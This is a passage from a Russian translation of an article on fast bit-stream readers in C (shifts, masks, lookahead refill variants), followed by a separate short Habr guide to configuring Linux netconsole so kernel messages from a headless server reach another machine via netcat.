Следовательно, даже если всё, что делает компилятор с этим сдвигом вправо — это отдаёт соответствующую инструкцию сдвига вправо для целевой архитектуры (а обычно так и происходит), то мы будем видеть на разных архитектурах разное поведение. На ARM A64 и x86-64 результат сдвига на 64 по сути будет no-op, а `getbits(0)` поэтому будет (обычно) возвращать ненулевое значение, хотя следует ожидать, что возвращаться должен ноль.
Почему же это так важно? Разумеется, жёстко прописанный в коде `getbits(0)` не является интересным случаем применения; однако иногда нам необходимо выполнить `getbits(x)` для какой-то переменной x, где x в некоторых случаях может быть нулём. В этом случае было бы здорово, чтобы код просто работал и не требовал каких-то проверок особых случаев.
Если вы хотите, чтобы этот случай работал, то одним из вариантов будет явная проверка на `width == 0` и обработка этого особым образом; другим вариантом будет использование выражения без ветвления, работающего с нулевыми ширинами, например, этого кода, применяемого в [FSE](https://github.com/Cyan4973/FiniteStateEntropy/blob/d41d8be8e7955787ce486b90708d7b8de53137bd/lib/bitstream.h#L361) [Йенна Коллета](http://fastcompression.blogspot.com/):
```
// Возвращаем верхние "width" бит, избегая граничных случаев с width==0.
return (bits >> 1) >> (63 - width);
```
Этот конкретный случай проще обрабатывать для битовых потоков LSB-first. И поскольку я упомянул их, давайте поговорим об операции использования маски, которую я применил для изолирования нижних `width` битов:
```
// Возвращаем нижние "width" бит, обнуляя остальные с помощью битовой маски.
return bits & ((1ull << width) - 1);
```
Существует аналогичная форма, которая немного менее затратна в архитектурах с трёхоперандной инструкцией and-with-complement (AND-NOT). К ним относятся многие процессоры RISC CPU, а также x86s с [BMI1](https://en.wikipedia.org/wiki/Bit_Manipulation_Instruction_Sets). А именно, мы можем взять маску всех битов-единиц, выполнить сдвиг влево, чтобы добавить внизу `width` нулей, а затем дополнить всё:
```
return bits & ~(~0ull << width);
```
Если у вас x86 не только с BMI1, но и с поддержкой BMI2, вы также можете использовать инструкцию `BZHI`, специально созданную для такого случая, если разберётесь с тем, как заставить компилятор отдать её (или использовать ассемблер). Ещё один вариант, который в некоторых случаях будет предпочтительным — просто подготовить небольшую таблицу поиска битовых масок, которая упрощает код до такого:
```
return bits & width_to_mask_table[width];
```
Подготовка таблицы поиска, хранящей результат двух целочисленных операций, может показаться смешным действием, особенно потому что вычисление адреса загружаемого элемента таблицы обычно включает в себя и сдвиг, и сложение — ровно те же самые операции, которые мы бы выполняли, если бы у нас не было таблицы! — но в этом безумии есть свой метод: вычисление требуемого адреса может выполняться как часть доступа к памяти в одной инструкции загрузки, например, на машинах с x86 и ARM, поэтому *эти* сдвиг и сложение вычисляются в блоке генерации адреса (Address Generation Unit, AGU) как часть конвейера загрузки в ЦП, а не с инструкциями целочисленной арифметики и сдвига. То есть подобное контринтуитивное решение заменить две целочисленные инструкции ALU одной инструкцией загрузки целого числа может привести к значительному ускорению кода с активным битовым вводом-выводом, потому что оно лучше уравновешивает нагрузку между разными операционными блоками.
Ещё одно интересное свойство заключается в том, что версия LSB-first, использующая таблицу поиска масок, выполняет один сдвиг на переменную величину (чтобы сдвинуть уже считанные биты). Это важно, потому что по множеству (часто банальных!) причин во многих микроархитектурах сдвиги целых чисел на переменные величины более затратны, чем сдвиги на постоянные величины времени компилирования. Например, Cell PPU/Xbox 360 Xenon были печально известны тем, что имели сдвиги на переменное расстояние, тормозившие ядро процессора на ужасно долгое время — 12 циклов, а обычные сдвиги были встроены в конвейер и выполнялись за два цикла. На многих микроархитектурах Intel x86 «традиционные» переменные сдвиги x86 (`SHR reg, cl` и подобные им) в три раза затратнее, чем сдвиги на константу времени компилирования.
Кажется, что это ещё одна причина отказа от варианта MSB-first: рассмотренные выше варианты выполняют два или три сдвига на операцию извлечения битов, два из которых имеют переменное расстояние. Но существует трюк, благодаря которому можно вернуться к операции с одиночным сдвигом, а именно использование вместо обычного сдвига циклического:
```
// Считаем buf[] одним гигантским числом integer big-endian, получаем "width"
// битов, начиная с номера бита "pos" (MSB=бит 0).
uint64_t bit_extract_rot(const uint8_t *buf, size_t pos, int width) {
assert(width >= 0 && width <= 64 - 7);
// Считываем 64-битное число big-endian, начиная с байта,
// содержащего бит номер "pos" (относительно "buf").
uint64_t bits = read64BE(&buf[pos >> 3]);
// Выполняем поворот влево, чтобы выровнять низ нашего битового поля с LSB.
bits = rotate_left64(bits, (pos & 7) + width);
// Возвращаем нижние "width" бит.
// (Здесь с использованием таблицы, но также будут работать и другие
// способы использования масок в битовом вводе-выводе LSB-first.)
return bits & width_to_mask_table[width];
}
```
Здесь поворот влево (вы должны сами выяснить, как наилучшим образом использовать его в вашем компиляторе C) сначала выполняет работу исходного сдвига влево, а затем выполняет поворот на дополнительные «width» бит, чтобы заставить битовое поле перевернуться от наиболее значимых битов значения к наименее значимым, после чего к ним можно применить маску так же, как и в варианте LSB-first.
А, да, и я начал писать деление на 8 как сдвиг право на 3, и mod-8 нашей беззнаковой позиции как двоичное AND с 7. Это эквивалентные замены, и вы можете увидеть такие формы в настоящем коде, поэтому я решил их сюда добавить.
С помощью такой операции маски поворотом мы (в RAD Game Tools) выполняли считывание битов в Cell PPU и Xbox 360, только потому, что на этом ядре сдвиги с переменным расстоянием были так ужасны. Стоит заметить, что у этой версии тоже нет проблем с `width == 0`; единственная проблема — это зависимость от инструкций поворота, которые существуют (и быстро выполняются) в большинстве архитектур, но обычно к ним неудобно получать доступ из кода на C.
Мы уже обсудили множество различных способов выполнения битового сдвига и маскирования, и в дальнейшем я буду ссылаться на них. Но я ещё не показал вам никакой практической логики битового ввода-вывода: форма извлечения битов — это хорошая стартовая точка, удобная для объяснения концепций, не задумываясь о состоянии, но в реальном коде вы скорее всего не будете использовать её, не в последнюю очередь потому, что она предполагает, что весь битовый поток находится в памяти и его можно легко считать до конца буфера в обычном процессе выполнения!
Итак, мы определились с основной задачей и рассмотрели различные способы выполнения сдвига и использования масок, обнаружив свойственные им сложности. Выбранная мной форма «извлечения битов» основана на примитиве без состояния, с которого удобно было начинать, потому что в нём не использовались инварианты цикла.
Сейчас мы перейдём к стилю с состоянием, который используется в большинстве считывателей битов, которые вы встретите (потому что он оказывается наименее затратным). Также мы перейдём от монолитной функции `getbits` к чему-то более разбитому на части. Но давайте начнём с начала.
### Вариант 1: считывание ввода по одному байту за раз
Наш считыватель-«извлекатель» предполагал, что весь битовый поток заранее находится в памяти. Это не всегда возможно или желательно; давайте исследуем другой предельный случай, а именно считыватель битов, запрашивающий дополнительные биты по одному за раз и только тогда, когда они нужны.
В общем случае наши варианты с состоянием будут получать ввод по несколько байт за раз, и у них будут несколько частично обработанных байтов. Нам нужно хранить эти данные в переменной, которую мы назовём «битовым буфером»:
```
// Здесь переменные снова считаются состоянием побитового считывателя
// или локальными, а не глобальными переменными.
uint64_t bitbuf = 0; // значение битов в буфере
int bitcount = 0; // количество битов в буфере
```
В процессе обработки ввода мы всегда будем записывать новые биты в этот буфер, когда он заканчивается, или при возможности считывать биты из этого буфера.
Без лишних слов давайте создадим нашу первую реализацию `getbits`, считывающую по одному байту за раз, и на этот раз начнём с MSB-first:
```
// Инвариант: в "bitbuf" есть "bitcount" битов, сохранённых с
// MSB сверху вниз; остальные биты в "bitbuf" - это 0.
uint64_t getbits1_msb(int count) {
assert(count >= 1 && count <= 57);
// Продолжаем считывать дополнительные байты, пока не буферизируем достаточное количество битов
// Big endian; наши текущие биты находятся наверху слова,
// новые биты добавляются снизу.
while (bitcount < count) {
bitbuf |= (uint64_t)getbyte() << (56 - bitcount);
bitcount += 8;
}
// Теперь у нас присутствует достаточно битов; наибольшие значимые
// "count" биты из "bitbuf" являются нашим результатом.
uint64_t result = bitbuf >> (64 - count);
// Теперь удаляем эти биты из буфера
bitbuf <<= count;
bitcount -= count;
return result;
}
```
Как и раньше, мы можем избавиться от требования `count`≥1, изменив способ получения битов результата, как объяснено в предыдущей части. Я упоминаю об этом в последний раз; просто учитывайте, что каждый раз, когда я буду показывать какой-нибудь вариант алгоритма, то к нему автоматически применяются предыдущие вариации.
Идея здесь довольно проста: сначала мы проверяем, достаточно ли в буфере битов для немедленного удовлетворения запроса. Если нет, то мы записываем дополнительные байты по одному за раз, пока у нас не будет их достаточно. Здесь подразумевается, что `getbyte()` в идеале будет использовать некий [механизм буферизированного ввода-вывода](https://fgiesen.wordpress.com/2011/11/21/buffer-centric-io/), который просто сводится к разыменованию и инкременту указателя на критическом пути; если этого можно избежать, он *не* должен быть вызовом функции или чем-то затратным. Поскольку мы вставляем по 8 бит за раз, то за один вызов мы можем считать максимум 57 бит; это наибольшее количество битов, на которое мы можем пополнить буфер, не рискуя при этом ничего упустить.
После этого мы получаем верхние `count` битов из буфера, а затем смещаем их. Сохраняемый здесь инвариант заключается в том, что первый несчитанный бит хранится в MSB буфера.
Стоит также заметить, что этот процесс удобно разбивается на три отдельные операции меньшего объёма, которые я назову «пополнение» (refill), «просмотр» (peek) и «потребление» (consume). Фаза «пополнения» гарантирует, что в буфере будет присутствовать минимальное количество бит; «просмотр» возвращает несколько следующих битов в буфере, не отбрасывая их, а «потребление» удаляет биты, не глядя на них. Все они оказываются полезными по отдельности операциями; чтобы показать, как всё это организуется, я покажу эквивалент алгоритма LSB-first, разделённого на меньшие части:
```
// Инвариант: в "bitbuf" есть "bitcount" битов, сохранённых с
// LSB в снизу вверх; остальные биты в "bitbuf" - это 0.
void refill1_lsb(int count) {
assert(count >= 0 && count <= 57);
// Новые байты вставляются в верхний конец.
while (bitcount < count) {
bitbuf |= (uint64_t)getbyte() << bitcount;
bitcount += 8;
}
}
uint64_t peekbits1_lsb(int count) {
assert(bit_count >= count);
return bitbuf & ((1ull << count) - 1);
}
void consume1_lsb(int count) {
assert(bit_count >= count);
bitbuf >>= count;
bitcount -= count;
}
uint64_t getbits1_lsb(int count) {
refill1_lsb(count);
uint64_t result = peekbits1_lsb(count);
consume1_lsb(count);
return result;
}
```
Запись `getbits` в виде сочетания таких трёх меньших примитивов не всегда оптимальна. Например, если мы используем метод поворота для битовых буферов MSB-first, то хотим, чтобы поворот был разделён между фазами `peekbits` и `consume`; оптимальная реализация разбивает работу на эти две фазы. Однако разбить код на эти отдельные этапы всё равно полезно, потому что когда вы освоите все эти три фазы как отдельные этапы, то сможете по-разному использовать их вместе.
### Смотрим вперёд
Наиболее важная такая транформация — это амортизация пополнения для нескольких операций декодирования. Давайте начнём с простого игрушечного примера: допустим, мы хотим считать три битовых поля, которые мы брали раньше:
```
a = getbits(4);
b = getbits(3);
c = getbits(5);
```
Когда `getbits` реализован так, как выше, этот код будет проверять пополнение (и возможно сам процесс пополнения) до трёх раз. Но это глупо; мы заранее знаем, что будем считывать 4+3+5=12 бит за один раз, поэтому можем получить их все одновременно:
```
refill(4+3+5);
a = getbits_no_refill(4);
b = getbits_no_refill(3);
c = getbits_no_refill(5);
```
где `getbits_no_refill` — это ещё один вариант getbits, который выполняет `peekbits` и `consume`, но, как понятно из названия, без пополнения. И когда мы избавились от цикла пополнения между отдельными вызовами `getbits`, то у нас остался только прямолинейный целочисленный код, который хорошо оптимизируется компиляторами. Иными словами, случай с фиксированными длинами малозатратен; он становится ещё интереснее, когда мы не знаем, сколько битов мы на самом деле будем потреблять, например, как здесь:
```
temp = getbits(5);
if (temp < 28)
result = temp;
else
result = 28 + (temp - 28)*16 + getbits(4);
```
Это простой код с переменной длиной, где значения с 0 по 27 передаются в 5 битах, а значения от 28 до 91 передаются в 9 битах. Смысл в том, что в этом случае мы не знаем заранее, сколько битов мы в дальнейшем потребим. Однако мы знаем, что их больше 9 битов, поэтому всё равно можем сделать так, чтобы пополнение происходило только один раз:
```
refill(9);
temp = getbits_no_refill(5);
if (temp < 28)
result = temp;
else
result = 28 + (temp - 28)*16 + getbits_no_refill(4);
```
На самом деле, если хотите, можно пуститься во все тяжкие и ещё больше разбить операции, чтобы оба пути выполнения только один раз потребляли (`consume`) биты. Например, при использовании битового буфера MSB-first, мы можем написать этот маленький декодер так:
```
refill(9);
temp = peekbits(5);
if (temp < 28) {
result = temp;
consume(5);
} else {
// "Верхний" и "нижний" код стоят спина к спине,
// и сочетаются идеально подходящим нам способом! Синергия!
result = getbits_no_refill(9) - 28*16 + 28;
}
```
Подобная микронастройка *сильно* не рекомендуется за границами очень нагруженных циклов, но как я упоминал выше, некоторые из этих циклов декодера достаточно нагружены, и в этом случае экономия нескольких инструкций в разных местах выливается в серьёзный выигрыш. Особенно важная техника декодирования кодов с переменной длиной (например, кодов Хаффмана) заключается в заглядывании вперёд на определённое количество бит с дальнейшим поиском в таблице на основании результата. В элементе таблицы указано, каким должен быть декодированный символ и сколько символов нужно потребить (т.е. какое число просмотренных битов на самом деле принадлежит символу). Это *значительно* быстрее, чем считывать код по одному-два бита за раз с проверкой на каждом этапе по дереву Хаффмана (к сожалению, этот метод предлагается во многих учебниках и других вводных текстах.)
Однако здесь есть проблема. Техника заглядывания вперёд и принятия решений о том, сколько бит нужно потребить, достаточно мощна, но мы только что изменили правила: показанная выше реализация `getbits` стремится считывать лишние байты только при крайней необходимости. Но наш изменённый пример считывателя кода с переменной длиной всегда пополняется, поэтому буфер содержит не менее 9 бит, даже если в конце мы потребим всего 5 бит. В зависимости от того, где происходит пополнение, это может даже привести к считыванию после конца самого потока данных.
Так мы познакомились с методом *lookahead*. Изменённый считыватель кода начинает получать дополнительные входные данные ещё до того, как будет уверен в их необходимости. Такой подход имеет много плюсов, но компромисс заключается в том, что он может заставить нас выполнить считывание за пределами логического конца битового потока; это подразумевает, что нам обязательно нужно обеспечить правильную обработку такого случая. Да, он может никогда не привести к сбою или считыванию вне пределов потока; но кроме этого он подразумевает принцип работы слоя буферизации ввода или кадрирования.
Если мы хотим выполнять заглядывание вперёд, то нам нужен какой-то способ обработки этого. Основные варианты таковы:
* Мы можем просто плыть по течению и сделать это чьей-то чужой проблемой, потребовав, чтобы все передавали нам правильные данные с дополнительными байтами-заполнителями после конца. Это упрощает нам жизнь, но неудобно для всех остальных.
* Мы можем организовать всё так, чтобы внешний слой кадрирования, передающий байты процедуре `getbits`, знал, когда заканчивается сам поток данных (благодаря или какому-то управляющему механизму, или явному заданию размера); затем мы можем или завершить выполнение заглядывания вперёд и при приближении к концу переключиться на более внимательный декодер, или заполнить поток каким-то пустым значением после завершения (чаще всего используются нули).
* Мы можем сделать так, чтобы какие бы байты мы ни получали во время lookahead при декодировании валидного потока, они всё равно оставались частью общего байтового потока, который обрабатывается нашим кодом. Например, если мы используем 64-битный битовый буфер, то можем обойти проблему, потребовав наличия сразу после битового потока какого-нибудь 8-байтного заполнителя (допустим, контрольной суммы или чего-то подобного). Поэтому даже если наш битовый буфер залез слишком далеко, то эти данные всё равно в результате будут потреблены декодером, что значительно упрощает логистику.
* В таком случае, любой слой буферизации ввода-вывода, который мы используем, должен позволить нам возвращать некие дополнительные байты, которые мы на самом деле не потребили в буфер. А именно, какие бы байты lookahead у нас ни остались в битовом буфере после завершения декодирования, их необходимо вернуть в буфер для того кода, который будет считывать его дальше. По сути, именно это делает функция стандартной библиотеки C [`ungetc`](http://pubs.opengroup.org/onlinepubs/009696899/functions/ungetc.html), только мы не можем вызывать `ungetc` больше одного раза, а это может нам понадобиться. Поэтому выбор этого пути обрекает нас на внесение изменений в управление буфером ввода-вывода.
Я не буду утешать вас — все эти варианты сложно реализовать, и некоторые из них сложнее остальных: избавление от проблемы вставкой чего-нибудь в конце — самый простой способ; обработка ситуации в каком-то внешнем слое кадрирования — тоже неплохое решение, а переработка всего управления буферизацией ввода-вывода для отмены считывания нескольких байтов поистине ужасна. Но когда не может управлять кадрированием, хороших вариантов решения просто нет. В прошлом я писал [посты](https://fgiesen.wordpress.com/2011/11/21/buffer-centric-io/) об [удобных техниках](https://fgiesen.wordpress.com/2016/01/02/end-of-buffer-checks-in-decompressors/), способных помочь в этом контексте; в некоторых реализациях проблемы можно обойти, например, задав `bitcount` огромное значение сразу после вставки последнего байта из потомка. Но в общем случае, если вы хотите реализовать lookahead, то придётся вложить в него какие-то усилия. Тем не менее, выигрыш обычно стоит того, так что это не игра в рулетку.
### Вариант 2: когда нам *очень* нужно считать 64 бита за раз
Все рассмотренные ранее методы используют различные хитрости, чтобы избежать работы с байтовой гранулярностью. Извлекающий читыватель битов начинает с считывания полных 64 битов, но затем ему приходится выполнять сдвиг на 7 позиций, чтобы отбросить уже потреблённую часть текущего байта, а показанный выше `getbits1` вставляет в битовый буфер по одному байту за раз; если в буфере уже есть 57 битов, но для нового байта в нём нет места (потому что в результате получится 65 битов, что больше ширины буфера), поэтому такова максимальная ширина, поддерживаемая методом `getbits1`. 57 бит — это довольно полезный объём, но если мы будем работать на 32-битной платформе, то аналогичным волшебным числом будет 25 бит (32-7), и это довольно малая величина, которой часто недостаточно.
К счастью, если нам требуется полная ширина, существуют способы реализовать её (как и технике с поворотом и масками битовых буферов для MSB-first, я научился этому в RAD). Думаю, на этом этапе вы уже поняли соотношение между методами для MSB-first и LSB-first, поэтому я покажу решение только для одного варианта. Давайте выберем LSB-first:
```
// Инвариант: "bitbuf" содержит "bitcount" бит, начиная с
// LSB и вверх; 1 <= bitcount <= 64
uint64_t bitbuf = 0; // значение битов в буфере
int bitcount = 0; // количество битов в буфере
uint64_t lookahead = 0; // следующие 64 бита
bool have_lookahead = false;
// Это необходимо сделать, чтобы запустить систему!
void initialize() {
bitbuf = get_uint64LE();
bitcount = 64;
have_lookahead = false;
}
void ensure_lookahead() {
// берёт слово lookahead, если
// у нас его ещё нет.
if (!have_lookahead) {
lookahead = get_uint64LE();
have_lookahead = true;
}
}
uint64_t peekbits2_lsb(int count) {
assert(bitcount >= 1);
assert(count >= 0 && count <= 64);
if (count <= bitcount) { // достаточно битов в buf
return bitbuf & width_to_mask_table[count];
} else {
ensure_lookahead();
// сочетаем текущий bitbuf с lookahead
// (биты lookahead поступают в верхнюю часть текущего buf)
uint64_t next_bits = bitbuf;
next_bits |= lookahead << bitcount;
return next_bits & width_to_mask_table[count];
}
}
void consume2_lsb(int count) {
assert(bitcount >= 1);
assert(count >= 0 && count <= 64);
if (count < bitcount) { // по-прежнему в текущем buf
// просто сдвигаем биты
bitbuf >>= count;
bitcount -= count;
} else { // всё из текущего buf потреблено
ensure_lookahead();
// мы полностью перешли на слово lookahead
int lookahead_consumed = count - bitcount;
bitbuf = lookahead >> lookahead_consumed;
bitcount = 64 - lookahead_consumed;
have_lookahead = false;
}
assert(bitcount >= 1);
}
uint64_t getbits2_lsb(int count) {
uint64_t result = peekbits2_lsb(count);
consume2_lsb(count);
return result;
}
```
Такой подход чуть более сложен, чем рассмотренные нами выше, и требует этапа явной инициализации для *правильной* работы инвариантов. Также в отличие от предыдущих вариантов, в нём используется несколько дополнительных ветвлений, что делает его не слишком подходящим для машин с чётким конвейером, в том числе и для PC. Кроме того, заметьте, что я снова использую `width_to_mask_table`, и это не просто для демонстрации: никакие арифметические выражения, которые мы использовали в прошлый раз для вычисления маски заданной ширины, не работают для полного интервала 0-64 допустимой `width` в распространённых 64-битных архитектурах, кроме IBM POWER. Да и в ней она работает, только если мы будем игнорировать вызов неопределённого поведения, чего, разумеется, допускать нельзя.
Лежащая в основе идея довольно проста: вместо всего одного битового буфера мы отслеживаем два значения. Мы знаем, сколько битов осталось от последнего считанного 64-битного значения, и когда их недостаточно для `peekbits`, мы получаем следующее 64-битное значение из входного потока (с помощью реализованного внешне `get_uint64LE()`), чтобы получить биты, которых нам не хватает. Аналогично, `consume` проверяет, останутся ли биты в текущем входном буфере после потребления `width` бит. Если нет, то мы переключаемся на биты из значения lookahead (выполняя сдвиг на те из них, которые были потреблены) и сбрасываем флаг `have_lookahead`, чтобы указать, что бывшее значение lookahead теперь просто является содержимым битового буфера.
В этом коде присутствуют ветвления, чтобы гарантировать отсутствие сдвигов вне допустимого диапазона (которые вызывают неопределённое поведение). Например, посмотрите, как `peekbits` проверяет `count <= bitcount`, чтобы распознать случай наличия битов в буфере, а `consume` использует `count < bitcount`. Это не случайно: вычисление `next_bits` в `peekbits` включает в себя сдвиг вправо на `bitcount`. Поскольку это происходит только на пути, где `bitcount` < `count` ≤ 64, то значит `bitcount < 64` и мы в безопасности. В `consume` ситуация обратная: мы выполняем сдвиг на `lookahead_consumed = count - bitcount`. Условие, окружающее блок, гарантирует, что `lookahead_consumed` ≥ 0; в другом направлении, поскольку `count` не больше 64, а `bitcount` не меньше 1, у нас получается `lookahead_consumed` ≤ 64 – 1 = 63. То есть, перефразируя слова Кнута, «опасайтесь багов в представленном выше коде; я всего лишь доказал его правильность, но не проверял его».
Кроме большей ширины битовых полей, эта техника имеет ещё один плюс: заметьте, что она всегда за раз считывает полные 64-битовые uint. Показанный выше вариант 1 считывает байты за раз, но требует цикла пополнения; различные варианты без ветвления, которые мы рассмотрим ниже, неявно полагаются на поддержку целевым процессором быстрых невыровненных считываний. Это единственная из версий, выделяющаяся считыванием одного размера и постоянным выравниванием, что делает её более привлекательной для целевых систем, не поддерживающих быстрые невыровненные считывания, например, для множества старых процессоров RISC.
Как обычно, существует куча других вариаций, которые я не буду показывать. Например, если у нас есть данные, которые мы полностью декодируем в памяти, то нет причин возиться с булевым флагом `have_lookahead`; можно просто хранить указатель на текущее слово lookahead, и увеличивать этот указатель при потреблении текущего lookahead.
### Вариант 3: возврат к извлечению битов
Исходный считыватель битов с извлечением из предыдущей части был довольно затратным. Но если нас устраивает требование того, что весь входной поток одновременно находится в памяти, то мы можем обернуть его в паттерн refill/peek/consume, чтобы получить что-то полезное. У нас всё равно будет битовый считыватель, который заглядывает вперёд (а потому создаёт соответствующие сложности), но такова жизнь. Здесь мы для примера снова используем MSB:
```
const uint8_t *bitptr; // Указатель на текущий байт
uint64_t bitbuf = 0; // последние считанные нами 64 бита
int bitpos = 0; // сколько мы потребили из этих бит
void refill3_msb() {
assert(bitpos <= 64);
// Перемещаем указатель на количество полностью потреблённых бит
bitptr += bitpos >> 3;
// Пополнение (Refill)
bitbuf = read64BE(bitptr);
// Количество битов в текущем байте, которое мы уже потребили
// (мы уже позаботились о полных байтах; здесь остатки битов,
// которые не составляют полный байт.)
bitpos &= 7;
}
uint64_t peekbits3_msb(int count) {
assert(bitpos + count <= 64);
assert(count >= 1 && count <= 64 - 7);
// Избавляемся сдвигом от уже потреблённых битов
uint64_t remaining = bitbuf << bitpos;
// Возвращаем верхние "count" бит
return remaining >> (64 - count);
}
void consume3_msb(int count) {
bitpos += count;
}
```
На этот раз мы также отбросили `getbits`, построенный из вызовов refill / peek / consume, потому что это ещё один паттерн, который уже должен быть вам понятен.
Это довольно приятный вариант. Когда мы разбили логику извлечения битов на отдельные части «refill» и «peek»/«consume», то стало ясно, насколько малы и понятны эти отдельные куски. Кроме того, полностью отсутствует ветвление! Метод ожидает, что невыровненные 64-битные считывания big-endian существуют и достаточно малозатратны (это не проблема для распространённых архитектур x86 и ARM). Кроме того, для реалистичной реализации необходимо добавить обработку случаев конца буфера; см. рассуждения в разделе о «lookahead».
### Вариант 4: другой тип lookahead
Теперь давайте реализуем ещё один вариант lookahead без ветвления. Насколько я знаю, этот вариант тоже был открыт с помощью RAD моим коллегой Чарльзом Блумом и мной при работе над Kraken (**ОБНОВЛЕНИЕ:** как указал в комментариях Yann, основная идея была использована в Xpack Эрика Биггерса ещё задолго до выпуска Kraken. Мне не было это известно, думаю, что и Чарльзу тоже, но это значит, что эта идея точно не пришла нам первым в голову. Однако у нашего варианта есть интересная особенность — подробности см. в [моём ответе](https://fgiesen.wordpress.com/2018/02/20/reading-bits-in-far-too-many-ways-part-2/#comment-10923)). Хотя все битовые считыватели без ветвления (в них нет ветвления, если мы игнорируем проверку конца буфера в refill и тому подобное), но этот вариант обладает некоторыми интересными свойствами (часть из них я обсужу позже, потому что пока нам не хватает нужных знаний), которые в таком сочетании я больше нигде не встречал; если кто-то другой опередил нас, то сообщите мне об этом в комментариях, и я обязательно упомяну авторов! Итак, здесь мы снова возвращаемся к LSB-first, потому что я пытаюсь показать вам, насколько взаимозаменяемы LSB-first/MSB-first на этом уровне, невзирая на все холивары.
```
const uint8_t *bitptr; // Указатель на следующий байт для вставки в buf
uint64_t bitbuf = 0; // значение битов в буфере
int bitcount = 0; // количество битов в буфере
void refill4_lsb() {
// Получаем следующие несколько байтов и вставляем их прямо над
// текущим верхним уровнем.
bitbuf |= read64LE(bitptr) << bitcount;
// Перемещаем указатель считывания для следующей итерации
bitptr += (63 - bitcount) >> 3;
// Обновляем количество доступных битов
bitcount |= 56; // now bitcount is in [56,63]
}
uint64_t peekbits4_lsb(int count) {
assert(count >= 0 && count <= 56);
assert(count <= bitcount);
return bitbuf & ((1ull << count) - 1);
}
void consume4_lsb(int count) {
assert(count <= bitcount);
bitbuf >>= count;
bitcount -= count;
}
```
Мы уже видели ранее этапы peek и consume, однако на этот раз максимально допустимая битовая ширина по какой-то причине уменьшилась на единицу и составляет 56 бита.
Причиной является этап refill, работа которого слегка отличается от виденной нами ранее. Считывание 64 бит little-endian и их сдвиг для соответствия верхней части нашего текущего битового буфера вам должны быть уже понятны. Но манипуляции с `bitptr` / `bitcount` требуют объяснений.
Проще начать с `bitcount`. В вариантах, которые мы видели раньше, после refill в буфере обычно оказывалось от 57 до 64 бит. Однако эта версия нацелена на то, чтобы хранить в буфере от 56 до 63 бит (именно поэтому ограничение счётчика снизилось на единицу). Но почему? Вставка целого числа байтов означает, что во время refill `bitcount` будет увеличен на какую-то величину, кратную 8; это значит, что `bitcount & 7` (нижние 3 бита) не изменятся. И если мы выполняем refill, нацеливаясь на [56,63] бит в буфере, то можем вычислить обновлённое количество битов единственной двоичной операцией OR.
Что приводит меня к следующему вопросу: на сколько байт нужно сдвигать указатель? Давайте просто посмотрим на значения в исходном `bitcount`:
* Если 56 ≤ `bitcount` ≤ 63, мы уже находимся в нашем целевом интервале и нам не нужно перемещаться на следующий байт.
* Если 48 ≤ `bitcount` ≤ 55, то мы прибавляем ровно 1 байт (и должны переместить `bit_ptr` на ту же величину).
* Если 40 ≤ `bitcount` ≤ 47, то мы прибавляем ровно 2 байта.
и так далее. Это работает с `(63 - bitcount) >> 3` байтами, которые мы прибавляем к `bitptr`.
Для битов в `bitbuf` над `bitcount` операция OR может быть выполнена несколько раз. Однако когда такое случается, мы каждый раз применяем OR к одному и тому же значению, поэтому это не меняет результат. Следовательно, когда они в дальнейшем движутся ниже (из-за сдвига вправо в функции consume), с ними бывает всё в порядке; нам не нужно беспокоиться о возможности появления мусора.
Ну ладно, это конечно интересно, но что особенного в этом варианте? Когда его стоит использовать вместо, допустим, описанного выше варианта 3?
Есть одна простая причина: в этом варианте адрес, по которому выполняет загрузку `refill`, не имеет зависимости от текущего значения `bitcount`. На самом деле, следующий адрес загрузки становится известен сразу же после завершения *предыдущей* refill. Это небольшое отличие оказывается довольно большим преимуществом для процессоров с внеочередным выполнением. Среди операций с целыми числами, даже при попадании в кэш L1, операции загрузки отличаются высокими задержками (обычно около 3-5 циклов, в то время как большинство целочисленных операций занимает единственный цикл), а точное значение `bitcount` в конце итерации какого-нибудь цикла часто становится известным слишком поздно (см. простой код для переменной длины, который я показал выше).
Если адрес загрузки не зависит `bitcount`, то это значит, что потенциально команда загрузки может быть отправлена сразу же после завершения предыдущей refill; тогда у нас останется достаточно времени для завершения загрузки с возможной перестановкой байтов значения, если порядок следования байтов в load не соответствует целевой ISA (допустим, если мы используем битовый буфер MSB-first на little-endian ЦП). Единственным параметром, зависящим от предыдущего значения `bitcount`, является сдвиг, то есть обычная операция АЛУ, в общем случае занимающая один цикл.
Если вкратце подвести итог, то эта довольно запутанная версия refill выглядит странно, но обеспечивает гибкое повышение параллелизма на уровне инструкций. Когда я тестировал её в 2016 году в последней на то время версии декодера Kraken-Хаффмана, на настольных ПК повышение скорости составляло около 10% (по сравнению с предыдущей refill без ветвления, которая показана выше). | https://habr.com/ru/post/359122/ | null | ru | null |
# Как понять почему упал сервер не подключая к нему монитор и клавиатуру?
Так бывает что сервер зависает, но к нему не подключена ни клавиатура, ни монитор.
У меня нет лишнего монитора, и обнаружив, что сервер не отвечает по сети,
снимать монитор с моего компьютера и подключать к серверу в кладовке нет никакого желания и сил.
В Linux есть такая возможность ядра как **Netconsole**.
Netconsole позволяет послать сообщения от ядра на удаленный компьютер.
Для настройки netconsole нужен другой (постоянно включенный) компьютер который примет сообщение по сети.
*Проверено на Ubuntu 10.04*
**На сервере который отлаживаем выполняем:**
1. В /etc/modules добавляем netconsole
2. В /etc/modprobe.d/netconsole.conf пишем
`options netconsole netconsole=SRCPORT@SRCHOST/eth0,DSTPORT@DSTHOST/DSTMAC`
Где SRCPORT и SRCHOST соответственно порт и IP адрес сервера который отлаживаем.
А DSTPORT и DSTHOST порт и IP адрес сервера который будет принимать сообщения.
DSTMAC — это MAC адрес сервера который будет принимать сообщения ЕСЛИ он в той же сети. Если он за роутером или где нибудь в интернете, то нужно указывать MAC адрес ближайшего роутера (Gateway).
Должно получится чтото типа
`options netconsole netconsole=6666@192.168.1.2/eth0,6666@192.168.1.3/e0:91:f5:7d:e6:38`
**На сервере который будет принимать сообщения.**
Нам нужно как то запустить программу которая будет слушать UDP порт DSTPORT и куда-либо записывать сообшения.
Самый просто способ — запустить netcat который будет выдавать на экран все что приходит на порт. Для того чтобы после закрытия окна данная программа не прекратила работать, можно запустить ее в screen.
1. Запускаем screen
`screen -U -D -RR`
2. Запускаем в окне netcat
`netcat -l -u DSTHOST DSTPORT`
**Как понять что все работает?**
Можно подождать какого нибудь события, но как убедится что сообщения реально ходят? Можно активировать SysRQ механизм ядра.
`echo 1 > /proc/sys/kernel/sysrq
echo h > /proc/sysrq-trigger`
После этого на сервере который принимает сообщения в окне с netcat появится текст типа
`[ 7849.700372] SysRq : HELP : loglevel(0-9)....`
**Ссылки**
* [wiki.ubuntu.com/Kernel/Netconsole](https://wiki.ubuntu.com/Kernel/Netconsole)
